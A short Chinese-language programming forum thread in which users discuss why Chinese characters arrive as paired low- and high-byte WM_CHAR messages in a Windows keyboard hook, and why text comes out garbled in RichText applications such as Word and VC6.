做键盘钩子的时候,汉字如何处理??

Question

下面是我的代码，可以捕捉汉定和英文，你自己看吧

Answer 1

  我试过了上面的代码，我调试的结果，根本没有触发WM_IME_CHAR消息，反而是一个汉字
出发了两次WM_CHAR消息，先发送地位字节，接着发送高位字节，比如一个“人”字，发
送的是msg->wParam=203,msg->wParam=200（两次消息中的wparam参数）
  现在我如何合并这个汉字呢？？？？？？

Answer 2

我有一个钩子程序，在IE，notepad等程序中能用汉字，但在WORD，VC6等目标为RICHTEXT的程序中英文为两个（发了两次WM——CHAR），汉字出现乱码（可能就是发了四次消息，低低高高），
各位有没有这现象？怎么办？
